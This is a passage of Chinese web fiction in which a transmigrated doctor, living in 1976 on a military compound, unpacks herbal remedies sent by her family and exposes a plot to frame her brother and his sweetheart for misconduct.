温**风风火火出了门。
她来的时候,带着一肚子气,除了钱和粮票,啥东西都没带。
这两孩子也才搬新家,还没开火,真是要啥都没有。
她得赶紧往隔壁张政委家,借她家的好东西,直接在她锅上做好,端回来给儿媳妇补补身子。
温**想好了,明儿个一大早,她就找红英妈一起去供销社买肉、买蛋。
明儿个她给家里打电话,让男人托人在京市买些好东西,能带的带来,不能带的抓紧时间邮寄过来。
我的个老天爷啊,双胞胎,想到这些,温**更是脚下生风,脸上含笑。
刚才热闹极了,转眼间人都走了,屋里只剩下她和霍战北大眼瞪小眼了。
猛地,电灯亮了,来电了!
“讨人厌的人走了,连灯都亮了。”
苏圆圆嘿嘿,
“我看看家里都寄了啥,这么大一堆。不能放的,咱得赶紧挑了吃掉。省得放坏了都不知道。”
“你咋知道是吃的东西?”
霍战北看着他的小胖媳妇整理那堆东西,脸上露出两个小酒窝。他真是越看越稀罕。
都说他媳妇胖,可他媳妇虽说胖了点,一点也不丑。
尤其是那皮肤,白得像瓷器一样,嗯,摸起来……
“你看看我这一身肉,还看不出来吗?”
苏圆圆拍拍她的大肥肉,
“这可都是我们老苏家,拿精米白面养出来的肥膘。怎么了,霍战北你嫌弃我?”
苏圆圆一副我胖我怎么了,我光荣,不行吗?
霍战北点头,
“你都不嫌弃我腿瘸绝嗣,我哪敢嫌弃你胖。”
“都给你说过了,你不绝嗣,我爷爷能治好你。”
苏圆圆翻出一个布袋子,打开里面全是大大小小捆扎好的中药包,
“看,这就是治你弱精的药,我爷爷在上面写了剂量和用药时间。估摸着你再吃一个月汤药,病就能全愈了。”
苏圆圆把霍战北的药挑出来,单独放好,
“对了,霍战北,你病要是好了,以后不会嫌弃我,再去找别的女人吧?”
苏圆圆目光瞟了一眼隔壁院子,那里住着夏千燕。
“你都不嫌我老,我怎会嫌弃你。”
苏圆圆乐了。
这个男人,外面高岭之花,一回到家,又闷又骚又会撩!
这真是变着法子,在给自己找缺点呢?
主打的就是一个他是一个有缺点的人,配她这个乡下肥婆正正好。
主打的就是一个谁也不嫌谁!
“等着吧,小北北,等姐姐我生了孩子瘦下来,到时候美得让你看一眼都掉渣渣。”
霍战北觉得她这个小媳妇哪都好,就是思想有些太跳脱,有时候说话中规中矩,有时候说的那些词他都没听过。
咦,
这是什么?
整理霍战北的药时,里面掉出一个小纸条。
苏圆圆捡起来一看,上面正是她二嫂清秀的笔迹。她二嫂是海市来的知青,下嫁给了她二哥。
全家人都数她二哥二嫂知识水平高,两人都是高中生。
小纸条:圆圆,这是你男人的药,一天早晚各一副,吃完病就好了。你二哥还在里头偷加了一味药,保管你男人身强体壮,记得,等你生了孩子后,让他夜夜做新郎。
苏圆圆的脸一下子红了。
啧啧,她这个二嫂可真是的,啥话都敢往纸上写。
“媳妇,你怎么了?上面写了啥,让我看看。”
霍战北伸手想要小纸条。
“没什么,我二嫂写给我的悄悄话。”
伸手把小纸条放在煤油灯上烧掉,顺手灭了煤油灯。
来电了,就得赶紧收了煤油灯。过小日子,就得精打细算。
这都是现代社会里,奶奶打小教她的理念。
一想到现代社会里,她加班**,得知她突然离世的噩耗,独居乡下老宅的奶奶该多悲伤啊!
幸好,她那个渣爹虽然对她们母女不好,但对亲娘还算照顾。
“咦,这里面也都是药。”
霍战北转着轮椅走过来,伸手拿起一个布袋,打开里面也全是中药包。
伸手摸出一个纸条,上面是一行清秀小字:圆圆,这是你的药,记得吃。吃完再给你寄。
“媳妇,这是给你的。你有什么病吗?”
苏圆圆拿过来放好,
“我没有病,这是我爷爷给我配的美白嫩肤的药包。我娘说,我是我们苏家三代几十个男娃里面,唯一的女娃娃。我一生下来,我爷爷就给我用这个方子养皮肤。”
苏圆圆检查了一下药包里的药材,又看看她细嫩莹白的皮肤。
心想怪不得她娘马冬梅常对她说,她爷爷是把她这个孙女,当成宫里的娘娘养的。
这方子来历不凡。
除了美白嫩
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肤的药,还有另外几种药包。
上面都附了她二嫂的小纸条。
纸条一:圆圆,这药你生完孩子再抹,修补产生身体的,保你用完和没生孩子以前一样。
纸条二:圆圆,这是小娃娃吃的,掺在饮水里,保管孩子身强好养活。
纸条三:这是减肥药,部队不比家里,你想瘦的时候再用。记得别用多了,咱瘦一点点就好哈!
……
妈呀,我这是要发了啊!
苏圆圆是个医生,还是个中西合璧的医学博士,这些方子随便哪一个,放到现代,都是不可多得的好方子。
这是1976年,再等两年改革开放。
到时候,她用这些美容方子自己开个加工厂,都能躺着赚钱。
这么大一堆,除了药,还有啥?
苏圆圆一个包裹一个包裹看过去,上面都有小纸条。
纸条一:这是腊肉、干菜、香菇,还有在大山自家采的大料
纸条二:这是小米、自家种的,娘说你打小就喜欢吃。怕你在部队买不到。
纸条三:这是你最爱吃的小零嘴,奶奶给你炒的。
纸条四:闺女,你到部队,要是女婿对你不好,你别怕,娘让你爹带全村老少爷们打断他腿,再领你回家——娘的原话!
苏圆圆看得眼眶发热,想哭,真的想哭。
见过宠闺女的,可没见过苏家这样宠闺女的。
“霍战北——”
苏圆圆抬起头,眼眶红着,眼泪在眼窝里打转,
“我可是我们苏家最宝贝的闺女,你以后要是对我不好,我娘说,我爹会带着我们苏家村三百多号老少爷们,来部队打断你的腿。”
“傻,你是我媳妇,我不对你好对谁好。”
“霍战北——”
苏圆圆眼泪终于掉了下来。
虽然明知这是一本书,这些人都只是书里的纸片人。
可是这些人,对她真的是太好了。
此时在她心里,苏家的每一个人,就是她的亲人。她就是苏圆圆本人。
“乖,别哭,对孩子不好。”
霍战北伸出粗糙的大拇指,擦去了她脸上的泪。
媳妇的脸真的是又白又滑。
电灯光下,还有那唇,嫩嫩的,还粉粉的……
就在霍战北伏下身子,刚要——
隔壁突然传来一阵嘈杂的脚步声,呼喊声,
“不好了,红英妈,快去看看吧。红英被人堵住了,说她在小树林里搞破鞋——”
第23章 抓住时衣裳都撕烂了
“胖嫂,你说啥?”
红英妈几乎站不住。
“哎哟,红英妈,你快和我一起去看看吧。你们家红英在西边小树林,和人搞不正之风,被纠察队抓了现形。”
“我的红英啊!”
红英妈手里的东西掉了一地。起身就往门外跑。
“哎哟,红英妈,你等等我,我带你去,现在人应该被抓走,带去纠察队办公室了。”
胖嫂冲着张政委和张奶奶扔了一句话,
“听说抓住的时候,衣裳都撕烂了。”
说完去追红英妈了。
“向荣,你快跟去看看。”
张奶奶心里难受,但还是很能沉住气,她看着张政委,
“咱家红英不是那样的人,能有啥作风问题。你也是给人做思想工作的,去和纠察队的人谈谈。”
张政委此时坐在桌前,手里拿着茶杯,僵了半天才放下。
“好,娘,你别着急,我这就跟着去看看。”
张政委的脚步有些虚浮。
心里有一种不祥的预感,不会是红英和那个臭小子在一起吧?
可是,要真是他两人,不可能衣裳撕烂啊?
张政委觉得,他虽然看不上苏陈皮那个臭小子的家庭,但那小子人品还是不错的。
他自认为给人做了一辈子思想工作,看人不会走眼的。
难道,
闺女是被哪个人盯上了,然后一路跟着……
张政委不敢想下去了。
“这都是啥事,姑娘家的脸面清白大如山。咋能随便就说人作风不好,随手就抓人呢?”
温**从厨房出来,饭还没做好,张家竟然出了这事。
“向荣,我陪你一起去看看。不管有啥事,都得按章程来。”
温**和张政委才刚走没一会,苏圆圆就推着霍战北,到张家来了。
听张奶奶说了情况,苏圆圆立马推着霍战北,跟去了纠察队。
“霍战北,你觉得事情会是怎样的?”
推着霍战北走在路上,苏圆圆和他商量着。
“应该是你三哥。”
“我也是这么想的。我三哥从我们家送了东西出去,红英姐和我洗澡回来时间只差了一小会。看样子,我三哥应该在外面等了红英姐。”
苏圆圆拼命想着她看书的情节。
张红英和苏陈皮在小树林被抓,有这个桥段吗?
想不起来,她看书经常跳章。
“你觉得我三哥去找红英姐,会说什么事?”
七十年代,和现在不一样。一般的姑娘小伙子都是经媒人介绍才认识的。像苏陈皮这样的战士,是不能随便和驻地姑娘谈恋爱的。
不经过申请,那可是违反纪律的。
书中苏陈皮和张红英是怎么结婚的,具体过程,苏圆圆想不起来。她只知道,好像两个人结婚后生了个闺女。
“可能给她送东西。”
“你怎么知道是送东西?”
霍战北沉稳的声音,
“他从我们家走的时候,从袋子里拿走两个小纸包。和你刚才看的那些包药的纸包一样。”
他特意加重了我们家三个字,苏圆圆满情心事,倒是没注意。
“霍战北,你眼可真尖,厉害。”
霍战北没说话,眉眼舒展开了。
我媳妇夸我了。嘿嘿,我可是以前干过侦察连连长的人。
这点子小事还能瞒得过我的眼睛。
三哥找红英姐去送药,会是什么样的药呢?
苏圆圆整理着所有的思绪。
洗澡回来的时候,她给红英姐说,她会找人去做她爸的思想工作,实在不行,就从她奶奶和妈妈入手。
反正,她会坚定站在两人同一个阵线上。她只认红英一个三嫂。
如果她猜得没错,红英姐应该也是想把这些想法,说给三哥听。
平时,他们两人就是你有情我有义,也都是在公众场合说两句话,递个眼色的。
要么就是趁像那天夏千燕伤了脚,送她去医疗室,那样的机会。两人能见一面。
从没有像今晚这样,私底下单独见过面。
毕竟这可是七十年代,作风问题相当严谨。
姑娘家的,名声比生命都重要。
何况红英还是张政委的独生闺女。要真出了事,别说张红英没法活了,张政委一家也没脸再在家属住了。
苏圆圆一路走,一路想着对策。
纠察队办公室是一个三间打通的平房,苏圆圆推着霍战北一进屋,就看到了满屋子的人,争吵叫骂。
夏千燕、李菊花,李大山
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看到这几个人,苏圆圆内心猛地一跳,她还有啥不明白的。
一准是今天在洗澡堂子里,张红英帮她吵架,这几人怀恨在心,故意无中生有,闹出事来,报复张红英的。
不,应该是在澡堂子事件之前,夏千燕就在对张红英龙布局下手了。
夏千燕可真是多管齐下,下定决心,一定要把她苏圆圆从霍战北身边赶走。
像苏陈皮和张红英这样帮她的,夏千燕也不会放过。
“你哪眼看见我闺女作风不正了,你满口胡咧咧!”
红英妈情绪激动地抓住李菊花撕打,
“你说你是证人,你能证明啥?”
“就是你闺女,她和人在小树林,衣裳都撕烂了,大家伙都看到了。我向纠察队同志反映问题,你还不让人说话了。”
“啥小树林,啥衣裳撕烂了,你长一双狗眼也不瞅清楚,我闺女衣裳不好好的吗?”
红英妈就恨这个李菊花,表面看着老实,一肚子坏水,是个蔫坏蔫坏的人。
“哦,那我说错了。是你闺女上劲了,撕烂了人家苏班副的衣裳。”
李菊花两大门牙掉了,一张嘴就漏风。
纠察队长看着张政委,两人一个管纪律,一个抓思想,平时没少打交道。
为了工作,也没少产生小摩擦,纠察队长爱喝酒,一喝还就醉,醉了就会出点小问题。
没少被张政委做思想工作。
“那个王队长,你看看今天这个事。”
张政委一开口,王队长就打哈哈,
“张政委,你也是搞思想工作的老人了。这纪律和作风问题,咱是一点也不敢放松啊。”
王队长嘴上说着套话,心里挺乐的。
瞅瞅你张向荣不是挺厉害的吗?
今儿说这个,明儿管那个,你自家的闺女都管不好。
心里这样想,但明面上不能这样做,尤其是纠察队长看到紧跟张政委进来的温**。
这妇女看着咋这么眼熟呢?
穿的衣裳一瞅就不是普通妇女。
“我家闺女这个事——”
张政委一开口,王队长就给他堵了回去,
“这事要是不处理好,我就是让张政委你把闺女领回去,你觉得这事能过去吗?”
第24章 你又打我
张政委脸色变了又变,终于没再开口。
“你看看你这个队长同志,这不管出啥事,也不能只信一面之词,总得让当事人说话吧?”
温**经过多少风浪,岂能看不明白面前这队长的猫腻。
“你这位大姐,你可能不了解我们部队的规矩。”
王队长觉得面前这妇女气场太强,不明身份,不敢轻易得罪。
这妇女到底是谁啊?
还没等他琢磨明白,就看到一个胖姑娘推着一辆轮椅进来了。
轮椅上坐着的人,
竟然是霍战北!
“你两咋来了?这么晚了,天冷风还大。”
温**一看苏圆圆就急了,
“也不披个大衣就跑出来,万一着了凉,可咋好呢?”
“妈,那个是圆圆的三哥。”
霍战北一句话,温**才想起来。
对呀,燕子给她打电话的时候,说过有一个乡下胖丫揣着崽子来找战北,和她哥在一起设计战北。
圆圆的哥是战北手下的兵。
温**看向被纠察队员绑住双手,押在一边,鼻青脸肿、衣裳撕烂的一个年轻战士。
这就是圆圆的亲哥?
“没有调查就没有发言权。事情真相还没有调查清楚,你们怎么能随便就动手**呢?”
温**的气质与在场所有人都不同。
多年的大学教授,加上司令家气氛的熏陶,一生气,全身的气场立马震得众人一愣。
王队长瞳孔一震。
怪不得他觉得这位妇女眼熟呢?
原来是霍团长的亲妈,那岂不是老**的儿媳妇?
王队长赶紧走上前,
“事情是这样的,虽然事情还在调查。但事情经过还是很清楚的……”
王队长吧啦吧啦说了一大堆。特意把两证人强调了几遍。
苏圆圆看向一直站在旁边抽烟不语的证人李大山,
“你叫李大山,是供销社司机,是你开车从小树林经过,撞见了有人耍流氓,所以你上去见义勇为,把我三哥打了一顿?”
“对,是我,我开车从小树林经过,看见一个男人把一个女同志按树上,我就……”
“你确定你亲眼看到了?你确定,你说的每一个字都是真的?”
苏圆圆直视着李大山的眼睛,看见他烟头烧着手了,才惊慌地弹掉。
说谎,这个司机在说谎。
“这个时间点,你说你开车经过小树林那个区域!”
霍战北沉声开口。
李大山浑身哆嗦了一下,表面还撑着,其实内心早就慌得不行。
他和李菊花有了把柄落到夏千燕手里,他就听她的安排,故意开车经过小树林,开灯,大叫有人耍流氓,上去就打苏陈皮一顿。
李菊花就负责引来附近的嫂子们来看。
然后就有嫂子去报纠察队,纠察队来人把两人抓走。
夏千燕只让他们做到这些就行了,说后面的事,就不用他们管了。
他哪里想到会惊动霍团长。
军区谁不知道,霍团长那可是谁的情面都不讲,我行我素的活阎王。
夏千燕也没说,这两人里面有谁和霍团长有关系啊?
李大山不由抬头去看夏千燕,却直接撞上了李菊花大张的嘴巴。
掉了两颗大门牙,黑洞洞的,他的心又涌起一股愤怒。
菊花刚才去找她,把在洗澡堂子里发生的事,都和她说了。
苏圆圆是霍团长的新媳妇,他是不敢动。但张红英一个姑娘家,敢这么打他女人,惊了他孩子。
看着菊花哭得那个惨相,李大山拍着胸脯,保证完成她交代的事。
他只想照着夏千燕交代的那样,给张红英泼一盆脏水,让她在军区和医院都呆不住。
哼,谁让今天他带菊
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花去医院检查,被张红英看到了呢。
就像菊花说的那样,他们要不把张红英搞臭,万一以后张红英揭发了,他们两假装夫妻去医院检查的事。
那可就糟糕了。
“对,我看见他对人家姑娘耍流氓,所以我就打了他。”
李大山仰起脸,一副别表扬我,我只是做了一个男人应该做的事而已。
不过,他转头对着霍战北就蔫了,
“我车坏了,我去修。”
他开的是供销社的公车,按这个时间点,是不会从小树林那边开出去的。
他不敢在霍战北面前耍心眼。
“哦,车坏了。”
霍战北脸上看不出什么波动。
李大山被他这一声哦,弄得后背直出冷汗。
心里不由庆幸,幸好他在开车去小树林的前边,偷偷把一个车灯砸烂了。
不然,今天就霍团长这一句话,他就得搁这里。
“你把我三哥打成那样,一句你认为他在耍流氓就算了?”
“那你想怎样?你三哥耍流氓你还有理了?”
李菊花恨恨瞪着苏圆圆,
“你们兄妹两个没有一个好东西,你用下作手段爬了霍团长的床,你哥又对张红英耍流氓。”
苏圆圆乐了,
“我记得你刚才在澡堂里,公开造我三哥和红英姐的谣言,刚被打了脸,是不是?”
李菊花像被踩着尾巴的猫一样叫起来,
“我没有,谁造你们兄妹两的谣。你们都敢做,还怕人说吗?”
“我们做什么了?谁告诉你,我用下作手段爬了霍团长的床?”
苏圆圆走近李菊花,
“用的啥手段,你说说?”
“下药,你给霍团长下药,你——”
啪!
苏圆圆直接给了李菊花一个大嘴巴子。
屋里瞬间静了一下。
“你又打我!”
┗
第25章 连环计
李菊花看了一眼李大山。
“就是有人稀罕我,你白眼气。你以为男人都喜欢你这挂的,啊呸,一股子猪油味。满肚子花花大油肠子。”
李菊花又看了一眼李大山和夏千燕。
这一眼一眼看的,苏圆圆又不傻。
她只记得书中写过李菊花男人吃独食,李菊花日子过得苦,孩子生了三个肚子里还揣一个。
她就没往别的地方想。
如今李菊花这一眼又一眼的看这个大块头司机。
苏圆圆突然想起来书中写过,李菊花有一个同乡姘头,好像还给那个姘头怀了一个孩子,最后孩子好像没有生下来,怎么流产的她记不得了。
“你叫李大山,你和李菊花是同乡吧?”
苏圆圆突然问了一个八杆子打不着的问题。
屋里一静,大家都看到李大山身体一僵,李菊花更是变了脸色。
“那个,你问这有啥用,这和今天这事又没有关系。”
李大山眼神躲闪,被霍战北一盯,立马怂了,
“是,我们是同乡。不过,这和今天这事没啥关系吧?”
他可不敢在霍战北面前说假话。
“李菊花,你这肚子几个月了,咋看着有点不好呢?”
苏圆圆突然把话头转向了李菊花,转得太突兀。旁人还没反应过来。
李菊花直接炸了,
“你敢咒我儿子,你自己的生不生得出来还难说,操心自己得了,还瞎操心别人的。”
苏圆圆并不生气,只盯着李菊花的肚子看,看得她有些发毛。
“血,你流血了。你孩子真有问题。”
苏圆圆一句话惊得李菊花魂都飞了。
她还没反应过来,李大山已经颤声问,
“血,菊花,你真流血了。你衣裳上有血,孩子——”
啊——
李菊花一屁股坐到地上。
苏圆圆盯着李大山,他手里的烟掉到地上,他都没发现。
“李菊花流血你紧张什么?她孩子没了,关你啥事?”
“我——我们是同乡,我关心一下同乡,我怎么了?”
李大山结结巴巴。
“你这辩解也太苍白了,你自己都不信,你觉得我们屋里这些人会信吗?”
“大山,我这——”
李菊花六神无主。
“别怕,你和孩子都不会有事的,我这就送你去医院。”
李大山这时候啥也不顾了,他和媳妇只生了一个闺女。媳妇就不能生了。
菊花这一胎,去医院检查过了,是个男孩。
这可是他老李家唯一的根啊,绝不能有个闪失。
这时候,夏千燕的威胁全不重要了,菊花肚子里的孩子才是他的心肝。
“李菊花肚子里的孩子是你的,你们两才是作风败坏,耍流氓。”
苏圆圆突然指着两人,厉声说。
众人一惊。
“你满嘴胡说,你有什么证据,说我也就算了,心肠这么毒,居然往菊花身上泼脏水。她可是三个孩子的妈,你让她以后咋活?”
李大山爆怒了。
“嘴是个软的,舌头是个扁的,你上嘴唇一碰下嘴唇,就定了我们的罪,谁给你的权力,谁又会信你?”
李大山跳脚,苏圆圆倒乐了,
“这话可是你说的,嘴是个软的,舌头是个扁的,想咋说就咋说,谁会信你?”
苏圆圆看向纠察队长,
“你也听到了,也看到了。李大山和李菊花不是姘头,也是同乡,他们两一个不分青红皂白,诬陷我哥耍流氓,冲上去把我哥打了一顿。”
“另一个嘛,又去叫观众,又去找你们。这两人分明是早就商量好的,想要做实了这件事。”
“这些事都是你听他们两人说的,证据呢?”
苏圆圆突然拨高声音,看着夏千燕厉声说,
“如果我刚才说他们两是姘头没有证据,是瞎话。那么他们两诬陷我三哥耍流氓,没有证据,也是瞎话。”
霍战北:瞅瞅,这是我媳妇,这小嘴皮子溜不溜!
温**:这是我儿媳妇吗?说好的又肥又丑乡下小土妞呢?
张政委和红英妈互相看了一眼,都从对方眼里看到了如释众负。
刚才他们还不明白,为啥这胖丫一个劲地和李菊花吵架,越吵越偏,越扯越远,完全和今天这事不搭。
还在心里埋怨这胖丫瞎搅和,耽误他们救闺女呢?
现在呢?
瞅瞅,这胖丫心眼可真不少!
“李大山,李菊花——你们两——”
王队长脸上有点挂不住。
这些话句句都在打他的脸,说他工作不扎实,听人几句话,就把人抓了。
“我们不报告了,我们也不管了。我得带菊花去医院。”
李大山这会子心思全在李菊花的肚子上,别人的事,他一点也不想管了。
“让我来看看
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,我在海市是护士,我懂医。”
夏千燕一看事情要坏,赶紧走上前,心里暗骂,这两个不成事的蠢货。
“别听了人家的话,乱了自己分寸。”
她借助检查李菊花肚子,给了两人一个警告的眼神。
“血在裤腰上面,不是李菊花流的。”
啊?
李菊花和李大山面面相觑。
心里又是庆幸,又是害怕。
庆幸孩子没事真好,害怕的是,他们两今天的表现,只要在场的人传出去,后面的事两人不敢想了。
噗嗤——
苏圆圆没忍住,还是笑出了声。
“李菊花,你也太紧张了。那血的确是在你后面裤腰上面。不是你的血,应该是我三哥的血吧?”
李大山看了一眼衣衫破烂,鼻青脸肿的苏陈皮,当时他用车灯晃了一下树林里的两人。
直接喊一声臭流氓,冲上去不由分说就打,这是夏千燕给他交代好的。
让他装作见义勇的人,就是事情败漏,到时候也能推说晚上太黑,没看清,弄错了。
说没想到,人家是谈恋爱的,他当成是耍流氓的了。
到时候,不管两人是认苏陈皮耍流氓,还是认两人私下谈对象,苏陈皮都吃不了兜着走。
当时,李大山冲上去就打,苏陈皮为了保护张红英不被伤到,直接把张红英圈在自己身下。
李大山所有拳头全落在了苏陈皮身上。
当李菊花装作路过这里,被声音惊到,惊叫一声引来围观者。
夏千燕交代的这件事,就算完美完成了。
只是在纠察队带走两人时,非要他们两个证人也跟着去。
走在路上,天黑路滑,李菊花差一点滑倒,李大山下意识扶了她一把。
没注意,他手上的血沾到了李菊花腰后衣裳上面了。
想明白这些后,李大山又气又恼。
这个苏圆圆心眼也太多了。
竟然把他和菊花耍得团团转。
“好,苏圆圆你可真会说话。”
夏千燕转过身,笑着鼓掌。
“这么看来,还真是李大山同志看错了。”
夏千燕微笑着,那笑却充满了寒意,
“这么说,苏陈皮同志根本不是耍流氓,而是和张红英同志在私自处对象。”
“对,张红英和苏陈皮两人偷谈对象,一定是在小树林子里偷亲嘴。要不然,李大山也不会误会。”
第26章 这是保胎药啊
李菊花一知道裤子上面的血不是自己的。
立马觉得她又行了。
苏圆圆看向夏千燕,这个女人可真能蹦跶,这是流氓罪不成,又来一个私自谈恋爱。
说来说去,就是要把作风问题这个帽子,扣死在她三哥和张红英头上了呗。
“这个事我家闺女——”
红英妈一听急了。
刚才说苏陈皮耍流氓罪要是成立了,她闺女就成受害对象,清白毁了,以后再不会有人提亲,一辈子都毁了。
但现在要是定了私自谈爱罪。苏陈皮作为战士,私自和驻地姑娘谈恋爱,他得受处分,闺女呢,医院也得给个处分,甚至可能丢掉工作。
好像现在,怎么说,闺女都脱不清了。
她不由又气又急,转头狠狠瞪了张政委一眼。
闺女和苏家小子看对眼两年了,两个孩子一直都不能往前进一步,都是因为男人看不上苏家。
虽然最初她也不愿意,让自己独养的闺女嫁给一个乡下来的大头兵。
可是,当妈的都心软,禁不住闺女在耳边一直说软话。
时间长了,红英妈心里还是接受了苏陈皮。只是男人脾气倔,一时劝不通。
看看吧,这不惹出祸来了。
要是男人早同意了两孩子的婚事,哪还有这样的倒霉事啊。
张政委脸黑着,他知道媳妇这是在怨他。
可面前这事咋办?
“圆圆——”
苏陈皮也急。
不管是流氓罪,还是啥的罪,只要不连累红英,他都愿意认。
可现在,咋怎么弄,都得连累红英了呢。
“苏圆圆,你说的对。这做什么事呢,都得讲证据。”
夏千燕妩媚的眼神瞟了一眼王队长,
“王队长,你们刚才好像除了抓人,还收到了一些证物吧?”
王队长哦了一声,他看几个女人你来我往,看呆了,刚才有点跑神。
他们纠察队是干啥吃的,王队长啥场面没见过。
到这时候,还有啥看不明白的。
就是两拨人互相斗呗。
不过,他也乐意看他们斗,反正今天这事,张政委是黄泥掉到裤裆里,不是屎(事)也是屎(事)
左右是跳进黄河也洗不清了。
看看他以后还咋本着脸教训他喝点猫尿就误事。
“哦,是有一个证物,一个小纸包,里面是些药材。”
“药材?我是护士,学医的,我来看看是做什么用的。”
“那感情好,夏姑娘愿意帮忙,再好不过了。”
王队长从桌上拿出一个纸包递给夏千燕。
夏千燕打开,看了几味药,虽然磨碎了,还是能看出来原样。
“莬丝子、杜仲、续断……”
夏千燕眼里闪过一抹狂喜,
“这是保胎药啊!”
啊,
众人吃了一惊。
苏陈皮见张红英,竟然给她送保胎药?
“哈哈——我就说过吧。他两谈恋爱,又搂又抱的,能不怀上,看看,这怀上了吧。都送保胎药了。”
李菊花哈哈笑起来。
“今儿在澡堂子里,我就看张红英的肚子鼓,说她怀了,还说我胡说。”
李菊花冲着苏圆圆恶狠狠地说,
“你还打我脸,打掉我两颗牙。”
“红英,你——”
红英妈脸如死灰。
心想,怪不得这段时间,红英总和她说,她是真心喜欢苏陈皮的,除了他谁也不嫁。
感情闺女早就怀上了苏陈皮的孩子。
完了,这一下子闺女的清白名声全没了。
张政委脸色也变了。
来之前,他还一直坚信闺女和那臭小子就算是互相喜欢,也不会有出格动作。
可是?
“不是的,我不是送给红英的。不对,这药我是送给红英的,但不是给红英吃的。”
苏陈皮急得眼圈都红了。
从被抓到现在,他一直都在埋怨自己,不该不小心,天这么晚了,还让红英跟他去小树林,他只是想和红英说几句话。
哪里想到,点子这样背啊!
他真是要害死红英了!
“你看看,你自己都承认,这药是你专门去送给张红英的。”
夏千燕说话慢条斯理。
王队长连连点
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头,
“嗯,今天这个事,算是完全清楚了。苏陈皮同志亲口承认,他把张红英同志带到小树林,是给她送保胎药的。”
“不是,我说了,这个药不是给红英吃的。”
苏陈皮方寸大乱。
李菊花笑得头发都随着她身体的幅度飘起来,
“你送张红英保胎药,不是给她吃的。你不会说是给你一个大男人吃的吧?”
李菊花真是恨毒了苏圆圆,当着众人的面,就揭她和李大山的秘密,还敢说她肚子里怀的孩子是李大山的。
苏陈皮是苏圆圆的三哥,她今天就是动不了苏圆圆,也得帮着夏千燕扒苏陈皮一层皮。
“还是你又要巧嘴说,张红英拿回家,是给她们家人吃的?”
李菊花的话一落音,夏千燕就点头附合,
“张红英家可就只有四口人。”
言下之意,除了年轻的张红英能怀孩子,年过半百的红英妈是不会怀,更不要提七十多岁的张奶奶。
不愧是原书女主,这还真是嘴又毒,心又黑,智商还在线。
“你瞧瞧,一看到这药,你激动得都找不着北了。不知道的,还以为你不生孩子,看到女人怀孩子吃保胎药,你就破防了呢?”
夏千燕气得变了脸色,
这苏圆圆咋这么嘴毒呢,总说她不生孩子。
偏偏她上辈子,和楚行止过了一辈子,也没有生下一个孩子。
“苏圆圆,别总谝你会怀孩子,动不动就咒人家不生孩子,你咋这么恶毒呢?”
夏千燕再生气,也不会让自己被苏圆圆带偏,
“咱现在说的是张红英怀了孩子,吃保胎药,可没说别人。你省得扯老远,把人当傻子骗。”
夏千燕话里话外,都在点王队长,这里有人把你当傻子骗呢。
王队长脸色也不好看,但他还没有胆量当着霍战北的面,给他媳妇摆脸色。
“咳——”
王队长清了一下嗓子,
“今天这事到此,也算是弄清了。没有什么耍流氓,就是两年轻人谈恋爱,算是个作风问题。这事呢,等我明天上报——”
第27章 给狗吃的
事情完全弄清楚了,王队长心想,年轻人谈恋爱,这事是违反纪律,但也可大可小。
他先把这事搁一晚上,等明天看张政委和霍家的动作。
他既不想得罪霍家,又能给张政委一个下马威,这样处理的结果就挺好。
毕竟,他和张政委还是低头不见抬头见的工作伙伴,让他难堪一下也就算了,他也没真想完全毁了这两孩子。
“不是,都是我的错,和红英没有关系。”
苏陈皮不能接受这样的结果,红英因为他而受牵连,他死也不愿意。
“这药不是人吃的,是给狗吃的。”
众人又是一怔。
夏千燕皱眉,
“苏陈皮,你知道你自己在说什么吗?”
这年头,缺医少药,许多贫苦山村的人生病了,都吃不起药,活活挨着。
怎么可能还有人,专门给狗做保胎药。
“王队长,把那包药,能拿过来我看看吗?
苏圆圆指着那包药。
王队长觉得完全没有必要,这世界上他从来也没有听过,谁家会给狗吃保胎药。
但霍战北目光太冷,他禁不住,还是把那包药递过去。
霍战北接了,转递给苏圆圆。
苏圆圆拿过来,细细看了,
“这药的确是保胎药。”
夏千燕一脸,我就说吧,你总不能把保胎药,当着这么多人的面,说成别的。
“但不是给人吃的,是给动物吃的。”
“不可能!苏圆圆你不要胡扯。我可是海市护士,怎么可能连保胎药都能看错?”
“夏千燕,你自己都说你只是一个护士,你不是医生,所以你看错药方也很正常啊。”
苏圆圆捏起一撮药材,
“人和动物用的保胎药虽然成份差不多,但制作方法和程序是不一样的。”
苏圆圆完全不掩饰一脸嘲讽,
“夏千燕你不会连护士和医生的职责都分不清吧,护士就是个护理人的,医生呢,才是看病的。你一个护士还真敢拿自己当医生呢?”
红英妈激动地一个劲点头,
”对,对,对,我们家狗怀了一窝崽子,一直怀相不稳。我们怕它出事,我婆婆一直念叨能给它吃点药保保就好了。“
苏陈皮也连连点头,
”我说的都是真话,你们一定要信我。这药,我就是送给红英家的狗吃的。“
苏圆圆随着点头,
”这药剂量是给狗吃的。“
“你说给狗吃的,就是给狗吃的。你以为你是谁,神医啊?”
李菊花不愿意了,扯着嗓子喊,
“那药上写着不给人吃,专门给狗吃的啊?你胡扯啊,谁会信你?这年头,人都吃不起药,还给狗吃,谁家的狗能这么金贵啊?”
“呶,这不是,上面还真写着,专门给狗吃的。”
苏圆圆把包药的纸转几下,从折缝里抽出一个窄窄的小纸条。
上面依然是她二嫂清秀的小字:
老三,这是你打电话问爷爷要了好多次的保胎药,你咋对一条狗这么尽心。咱娘说了,你要和一条狗好上了,回家打断你的狗腿。
“对,我爷爷是老中医,我打电话给家里,要了好几次。家里一直没给寄过来。这次,我家里给圆宝寄东西,才一起寄过来。”
苏陈皮看到那张纸条,差一点热泪盈眶,他发誓,以后再不和二嫂斗嘴了。
“你说了谁会信,这么晚了,你找张红英只是专门给她送一包狗的保胎药。为啥你不等明天送,这么着急上火。”
李菊花指着张红英,
“她去小树林还端着洗澡盆,一准是你在路上堵她,她连家都没舍得回,就跟你走了。还说你们是为了一条狗才见面的,谁信?”
提到洗澡盆,张红英总算找到话头了,
“苏班副本来是打算明天到医院,找我给药的,只是没想到,他从霍团长家出来的时候,在路上碰到我刚洗澡回来。”
“那你们为啥不在路上说话,还专门跑到小树林子里去?”
李菊花撇嘴。
“路上有人过,苏班副怕被人看到,让人说我闲话。”
被抓的时候,她慌了,父母来的时候,她更慌了。
直到现在,她总算稳下了心神,
张红英看着李菊花,
“我也害怕,担心有人拿这药给我开玩笑,所以才跟着苏班副进了小树林,谁知道,苏班副才拿出药想要递给我,李大山就用车灯晃我们,径直冲过来打了苏班副。完全不听我们说什么。”
苏陈皮看着张红英镇静的样子,他的心也平静下来,
“我也是今天听人说,张政委家的将军难产了,我担心狗大出血再**。”
苏陈皮思路越发清晰,
“我就想着这药虽然晚了些,保是没用了。但毕竟是药,产后护理对狗也会有些用的。”
